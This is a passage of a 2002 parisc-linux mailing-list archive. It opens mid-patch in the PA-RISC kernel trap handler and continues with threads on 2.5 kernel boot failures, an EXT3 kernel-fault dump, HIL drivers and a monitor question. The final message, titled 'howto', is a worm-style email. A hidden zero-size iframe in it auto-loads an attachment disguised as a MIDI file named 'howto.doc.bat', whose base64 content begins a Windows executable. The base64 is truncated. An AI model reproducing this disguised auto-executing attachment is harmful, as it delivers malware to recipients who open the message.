+		si.si_signo = SIGFPE;
+		/* Set to zero, and let the userspace app figure it out from
+		   the insn pointed to by si_addr */
+		si.si_code = 0;
+		si.si_addr = (void *) regs->iaoq[0];
+		force_sig_info(SIGFPE, &si, current);
+		return;
+												
 	case 14:
 		/* Assist Exception Trap, i.e. floating point exception. */
 		die_if_kernel("Floating point exception", regs, 0); /* quiet */
 		handle_fpe(regs);
 		return;
 
-	case 17:
+	case 15:
+		/* Data TLB miss fault/Data page fault */
+		/* Fall thru */
+	case 16:
+		/* Non-access instruction TLB miss fault */
+		/* The instruction TLB entry needed for the target address of the FIC
+		   is absent, and hardware can't find it, so we get to cleanup */
+		/* Fall thru */			
+        case 17:
 		/* Non-access data TLB miss fault/Non-access data page fault */
 		/* TODO: Still need to add slow path emulation code here */
-		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
+		/* TODO: Understand what is meant by the TODO listed
+		   above this one. (Carlos) */
 		
 		fault_address = regs->ior;
-		parisc_terminate("Non access data tlb fault!",regs,code,fault_address);
-
+		fault_space = regs->isr;
+		break;
+								
 	case 18:
 		/* PCXS only -- later cpu's split this into types 26,27 & 28 */
 		/* Check for unaligned access */
@@ -585,7 +616,6 @@ void handle_interruption(int code, struc
 		}
 		/* Fall Through */
 
-	case 15: /* Data TLB miss fault/Data page fault */
 	case 26: /* PCXL: Data memory access rights trap */
 		fault_address = regs->ior;
 		fault_space   = regs->isr;
@@ -710,7 +740,7 @@ void handle_interruption(int code, struc
 	    {
 		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
 		parisc_terminate("Kernel Fault", regs, code, fault_address);
-	
+		/* NOT REACHED */	
 	    }
 	}
 
Index: arch/parisc/mm/fault.c
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/mm/fault.c,v
retrieving revision 1.3
diff -u -p -r1.3 fault.c
--- arch/parisc/mm/fault.c	20 Jul 2002 16:27:06 -0000	1.3
+++ arch/parisc/mm/fault.c	7 Nov 2002 05:31:26 -0000
@@ -257,7 +257,8 @@ no_context:
 	}
 
 	parisc_terminate("Bad Address (null pointer deref?)", regs, code, address);

From - Thu Nov 08 21:25:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 2.5.45-pa5 failed to boot [was: gcc-3.3 hppa patch]
Date: Thu, 7 Nov 2002 08:31:18 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <3DA3DE66000044D1@ocpmta4.be.tiscali.com>
References: <3DB5755500002451@ocpmta7.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621883 16458 80.91.229.3 (22 Nov 2014 02:04:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:43 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  7 00:31:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F7774829
	for <parisc-linux@parisc-linux.org>; Thu,  7 Nov 2002 00:31:37 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 189h8S-0004XA-00; Thu, 07 Nov 2002 08:31:28 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 7 Nov 2002 08:31:18 +0100
In-Reply-To: <3DB5755500002451@ocpmta7.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16659

>>
>>On Wed, Nov 06, 2002 at 08:18:48AM +0100, jsoe0708@tiscali.be wrote:
>>> I also try to test a 2.5 (45-pa5) it compiles well (after application
>of
>>> an old tips [remove $$mulU from parisc_ksyms.c]) but failled to boot
>:((
>>> (Is somebody already reach to boot a 2.5 pa?)
>>
No success with gcc-3.3 so comeback to gcc-3.0.4 and my .config file copied
from 2.4.19-pa24 to 2.5.46-pa1.

I first have to remove jfs support (:(( I need it but just for test ...)
and (serial) MUX support (do not yet need). I also encounter some problem
with acxxx (but not need ...)

Finaly I obtain a a kernel which start to boot and ...
as a year ago my b2000 hang after "Searching for devices..." and the green
led of the ide cdrom stay light up. (Sorry but I do not remember what was
the fix , can somebody refresh my memory?)

Joel


-------------------------------------------------------------
Tiscali ADSL: Activation et 1er mois GRATUITS. Plus d'info... http://www.tiscali.be/FR/subs/adsl.asp




From - Thu Nov 08 21:25:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] If you feel bored, test these 2.5 changes...
Date: Thu, 7 Nov 2002 14:37:02 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <3DA3DE66000045F4@ocpmta4.be.tiscali.com>
References: <20021107054204.GA4465@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621883 16464 80.91.229.3 (22 Nov 2014 02:04:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:43 +0000 (UTC)
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  7 06:37:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 950824829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Nov 2002 06:37:18 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 189mqP-0002ej-00; Thu, 07 Nov 2002 14:37:13 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 7 Nov 2002 14:37:02 +0100
In-Reply-To: <20021107054204.GA4465@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16660

Hi Carlos,
>
>- Added the last enumerations to the cpu list.
>	= These are probably incorrect.
>
>- Forward port of trap handler changes.
>	= Virtually identical to 2.4 code which 
>	= has been running for almost 5 months without
>	= problems.
>
>- Added a code comment about non-returning functions.
>	= Purely cosmetic...
>
Sorry but after the boot flop on my b2000, I try on a b180 but no more success:
Freeing unused kernel memory: 416k freed
Warning: unable to open an initial console.
Unable to find swap-space signature
EXT3 FS 2.4-0.9.16, 02 Dec 2001 on md(9,0), internal journal

Stack Dump:
 178f4300:  0006ff0f 00000000 00000000 00000000 
 178f42f0:  00000000 10262010 00000000 00000000           
 178f42e0:  106698c0 178f4210 00000000 178f4230           
 178f42d0:  178f4110 00000000 178f4210 17ff7760           
 178f42c0:  fffffff4 17c6c2c0 178f3988 17c6c2a0           
 178f42b0:  178f3680 101613d4 000002b1 178f3988 
 178f42a0:  17c6c2c0 10097c00 fffffffa 00000000 
 178f4290:  1066e600 00000812 17b7b1a0 1066e680 
 178f4280:  00000931 00000003 01c048f0 00000004 
 178f4270:  1066b005 10262ee0 40177000 17aaf9a0 
 178f4260:  17ff7760 40194000 178fec20 17aaf9a0 
 178f4250:  17ff7760 178f4190 00000000 00000000 

Kernel addresses on the stack:
 [<10262010>]  [<101613d4>]  [<10262ee0>]  [<102111fc>] 
 [<1015de7c>]  [<10166e40>]  [<1010b008>]  [<1010a094>] 


Kernel Fault: Code=26 regs=178f4300 (Addr=00000204)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  00000000 1034f010 10262010 17eec260
r04-07  00000000 1034f010 00000812 1034f4b4
r08-11  1030a800 00000812 00027d40 000e0008
r12-15  00000008 000e04c8 000e0888 000e0648
r16-19  00000000 000d2430 0009e800 00000200
r20-23  1034f4b4 00000000 00000000 00000000
r24-27  00000000 00001000 178ec000 1031e010
r28-31  17eec260 b870fe25 178f4300 10044a78
sr0-3   00000000 0000010e 00000000 0000010e
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 102620d0 102620d4
 IIR: 0e681094    ISR: 00000000  IOR: 00000204
 CPU:        0   CR30: 178f4000 CR31: 1035b000
 ORIG_R28: 00000008

Joel

PS: I will see to backport on 2.4.20-rc1

-------------------------------------------------------------
Tiscali ADSL: Activation et 1er mois GRATUITS. Plus d'info... http://www.tiscali.be/FR/subs/adsl.asp




From - Thu Nov 08 21:25:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Trap 26 -> EXT3?][If you feel bored, test these 2.5 changes...]
Date: Thu, 7 Nov 2002 08:52:22 -0500
Lines: 72
Approved: news@gmane.org
Message-ID: <20021107135222.GD4465@systemhalted>
References: <20021107054204.GA4465@systemhalted> <3DA3DE66000045F4@ocpmta4.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621884 16465 80.91.229.3 (22 Nov 2014 02:04:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  7 06:52:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0362F4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Nov 2002 06:52:16 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 189n54-0002I0-00; Thu, 07 Nov 2002 08:52:22 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3DA3DE66000045F4@ocpmta4.be.tiscali.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (98% Sync Ratio [==========])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16661

Joel,

Wow, you added those changes and EXT3 stopped functioning? :}
Please revert the patch and try to build/boot a kernel again.

Code 26 -> "Data Memory Access Rights" trap, looks like a 
misbehaving EXT3.

c.

> >- Added the last enumerations to the cpu list.
> >	= These are probably incorrect.
> >
> >- Forward port of trap handler changes.
> >	= Virtually identical to 2.4 code which 
> >	= has been running for almost 5 months without
> >	= problems.
> >
> >- Added a code comment about non-returning functions.
> >	= Purely cosmetic...
> >
> Sorry but after the boot flop on my b2000, I try on a b180 but no more success:
> Freeing unused kernel memory: 416k freed
> Warning: unable to open an initial console.
> Unable to find swap-space signature
> EXT3 FS 2.4-0.9.16, 02 Dec 2001 on md(9,0), internal journal
> 
> Stack Dump:
>  178f4300:  0006ff0f 00000000 00000000 00000000 
>  178f42f0:  00000000 10262010 00000000 00000000           
>  178f42e0:  106698c0 178f4210 00000000 178f4230           
>  178f42d0:  178f4110 00000000 178f4210 17ff7760           
>  178f42c0:  fffffff4 17c6c2c0 178f3988 17c6c2a0           
>  178f42b0:  178f3680 101613d4 000002b1 178f3988 
>  178f42a0:  17c6c2c0 10097c00 fffffffa 00000000 
>  178f4290:  1066e600 00000812 17b7b1a0 1066e680 
>  178f4280:  00000931 00000003 01c048f0 00000004 
>  178f4270:  1066b005 10262ee0 40177000 17aaf9a0 
>  178f4260:  17ff7760 40194000 178fec20 17aaf9a0 
>  178f4250:  17ff7760 178f4190 00000000 00000000 
> 
> Kernel addresses on the stack:
>  [<10262010>]  [<101613d4>]  [<10262ee0>]  [<102111fc>] 
>  [<1015de7c>]  [<10166e40>]  [<1010b008>]  [<1010a094>] 
> 
> 
> Kernel Fault: Code=26 regs=178f4300 (Addr=00000204)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001101111111100001111 Not tainted
> r00-03  00000000 1034f010 10262010 17eec260
> r04-07  00000000 1034f010 00000812 1034f4b4
> r08-11  1030a800 00000812 00027d40 000e0008
> r12-15  00000008 000e04c8 000e0888 000e0648
> r16-19  00000000 000d2430 0009e800 00000200
> r20-23  1034f4b4 00000000 00000000 00000000
> r24-27  00000000 00001000 178ec000 1031e010
> r28-31  17eec260 b870fe25 178f4300 10044a78
> sr0-3   00000000 0000010e 00000000 0000010e
> sr4-7   00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 102620d0 102620d4
>  IIR: 0e681094    ISR: 00000000  IOR: 00000204
>  CPU:        0   CR30: 178f4000 CR31: 1035b000
>  ORIG_R28: 00000008
> 
> Joel
> 
> PS: I will see to backport on 2.4.20-rc1
> 



From - Thu Nov 08 21:25:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] [Trap 26 -> EXT3?][If you feel bored, test these 2.5 changes...]
Date: Thu, 7 Nov 2002 16:39:33 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <3DA3DE6600004657@ocpmta4.be.tiscali.com>
References: <20021107135222.GD4465@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621884 16467 80.91.229.3 (22 Nov 2014 02:04:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  7 08:40:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18A204829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Nov 2002 08:40:10 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 189olI-00086D-00; Thu, 07 Nov 2002 16:40:04 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 7 Nov 2002 16:39:33 +0100
In-Reply-To: <20021107135222.GD4465@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16662

Carlos,

>
>Joel,
>
>Wow, you added those changes and EXT3 stopped functioning? :}
>Please revert the patch and try to build/boot a kernel again.
>
>Code 26 -> "Data Memory Access Rights" trap, looks like a 
>misbehaving EXT3.
>
I test your patch on my 2.4.20-rc1(-pa24) and the kernel boot and run well
:)).

I try to trigger the usage of this traps
double a=1., b=0., c;
c=a/b;
printf ("Ratio a/b: %f);

but it do not cause any fp interrupt error? (well that is an another question)

Back to 2.5.46-pa1, I revert the patch and rebuild the kernel and the kernel
won't boot more. So it seems that problem comes from ext3 usage.
How may I come back to ext2 (tune2fs -O ^has_journal /dev/md0 [my boot partition]
) I nerver do it and a bit affraid to loose my system :(

Joel


-------------------------------------------------------------
Tiscali Complete, l'accs Internet moins cher que gratuit ! Plus d'info:
http://complete.tiscali.be




From - Thu Nov 08 21:25:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@tuxfamily.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Placement of hil drivers
Date: Thu, 07 Nov 2002 16:59:58 +0100
Organization: TuxFamily
Lines: 12
Approved: news@gmane.org
Message-ID: <3DCA8DFE.6060405@tuxfamily.org>
References: <BC87909C-EFDB-11D6-8FC8-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621884 16470 80.91.229.3 (22 Nov 2014 02:04:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  7 08:59:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.noos.fr (descartes.noos.net [212.198.2.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id C46574829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Nov 2002 08:59:41 -0700 (MST)
Original-Received: (qmail 347650 invoked by uid 0); 7 Nov 2002 15:59:37 -0000
Original-Received: from unknown (HELO tuxfamily.org) ([195.132.247.11]) (envelope-sender <marteaut@tuxfamily.org>)
          by 212.198.2.74 (qmail-ldap-1.03) with SMTP
          for <parisc-linux@lists.parisc-linux.org>; 7 Nov 2002 15:59:37 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020913 Debian/1.1-1
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16663

Hi all,

This directory was created to store the HIL development files during the 
process. Personally, I don't have any kind of hardware correctly 
connected to continue what Brian did.

AFAIK, Helge thought that it was too heavy and when it is acceptable, it 
will go into input.

Hope this helps, Thomas.



From - Thu Nov 08 21:25:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc <marcmorrison@cox.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] OT:  HP98754A with mgag200
Date: Thu, 07 Nov 2002 19:59:16 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <3DCB1A74.3040204@cox.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621885 16471 80.91.229.3 (22 Nov 2014 02:04:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  7 18:59:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lakemtao05.cox.net (lakemtao05.cox.net [68.1.17.116])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E9914829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Nov 2002 18:59:20 -0700 (MST)
Original-Received: from cox.net ([68.102.15.23]) by lakemtao05.cox.net
          (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP
          id <20021108015904.HPPF14732.lakemtao05.cox.net@cox.net>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 7 Nov 2002 20:59:04 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16664

Sorry to be a little off topic, but this seems like a good place to find 
the expertise I need.

Any reccomendations for getting a spare 98754A monitor to function with 
a Matrox g200?

I have been figuring modelines for a week now, and none of them have 
created display that was more than barely viewable.  The monitor works 
great when driven by a 715/100 with an HCRX24Z as 1280x1024 @ 60Hz.

Trying to run on a debian testing intel box,  XFree86 version: 4.1.0.1. 
 After every modeline I could find or create failing, I will take almost 
any reccomendation.

Thanks,

Marc





From - Thu Nov 08 21:25:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: gameboy03 <gameboy03@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] howto
Date: Fri,08 Nov 2002 02:44:18 PM
Lines: 514
Approved: news@gmane.org
Message-ID: <20021108074637.771294829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary=pdnwjdd
X-Trace: ger.gmane.org 1416621885 16472 80.91.229.3 (22 Nov 2014 02:04:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 00:46:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lists.parisc-linux.org (fl.24.96.18.204.cablemodem.gte.net [24.96.18.204])
	by dsl2.external.hp.com (Postfix) with SMTP id 771294829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 00:46:37 -0700 (MST)
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16665

--pdnwjdd
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:ptpm height=3D0 width=3D0>
</iframe>
<FONT></FONT>
============================================================================
Vector-Linux Version v0.4 February-27th-2000


This version of 'Linux' is a direct decendant of the popular Vector-Linux.
Although the install routine (which was originally found in Kent Robotti's
Doslinux now loop<BR>.<BR>.<BR>Enjoy the attachement <BR></BODY></HTML>

--pdnwjdd
Content-Type: audio/x-midi;
	name=howto.doc.bat
Content-Transfer-Encoding: base64
Content-ID: <ptpm>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAABXZioCEwdEURMHRFETB0RRkBtKUR4HRFH7GE5RCQdEURMHRFEQB0RRcRhX
UR4HRFETB0VRkAdEUfsYT1EWB0RRqwFCURIHRFFSaWNoEwdEUQAAAAAAAAAAUEUAAEwBAwC+0QI9
AAAAAAAAAADgAA8BCwEGAABgAAAAEAAAAOAAAABLAQAA8AAAAFABAAAAQAAAEAAAAAIAAAQAAAAA
AAAABAAAAAAAAAAAYAEAAAQAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA
AAAYVwEApAEAAABQAQAYBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
